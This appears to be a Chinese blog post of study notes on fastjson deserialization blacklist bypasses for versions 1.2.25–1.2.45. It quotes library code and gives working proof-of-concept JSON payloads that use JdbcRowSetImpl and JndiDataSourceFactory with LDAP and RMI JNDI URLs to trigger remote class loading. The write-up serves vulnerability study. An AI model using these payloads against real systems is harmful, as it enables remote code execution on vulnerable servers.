fastjson

1.2.25 - 1.2.41版本绕过

首先我们用以前的脚本打一下:

发现报错autoType不允许后面的类加载,

查看代码
 public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {//到了这个版本,autoTypeSupport 默认false
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号

 public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);

因为在loadclass中队L和;进行了删除,然后再loadclass,感觉这个看一下就行,毕竟应该不会这么巧。

1.2.42

就是在checkAutoType中,增加了哈希黑名单进行了过滤,并且如果满足黑名单就会截取前后个一个字符,

那么我们就可以直接添加两个LL;;来绕过就可以了,并且TypeUtils.class-->中的loadclass是一个递归调用,写几层都可以

复现过程:

发现导致这里进不去调用loadclass

深挖了一下,大概的逻辑就是 h3会返回是否是黑名单,如果是则是负数,然后执行,通过里面binarySearch运算时-1 ,所以多加几层然后返回+1就可以绕过了,太累了,不想调试了!

     ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//记得开,因为默认为false,不然第一个都进不去

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";

        JSON.parseObject(PoC);

1.2.43版本绕过

checkAutoType函数首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常,也就是说1.2.42版本的payload会被过滤掉。

那么我们的突破口来到了,

我们能不能用[开头然后满足,调用loadclass这个,但是没成功需要调试,qwq太晚了,只能明天搞。

开搞开搞,

进来了所以我们现在只要让token不等于16就可以了,所以现在我们知道如何控制this.ch就可以了,但是他会执行token!=14就会抛出异常,所以我们要让token=14,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。

查看代码
         ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";

        JSON.parseObject(PoC);

给出参考链接,看吐了给我,https://blog.csdn.net/dreamthe/article/details/125851153

<=1.2.45fastjson反序列化注入

 String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";

用了setproperties-->中的lookup    rmi中lookup可控可以触发漏洞

 

posted @   前来冲分呀!  阅读(79)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示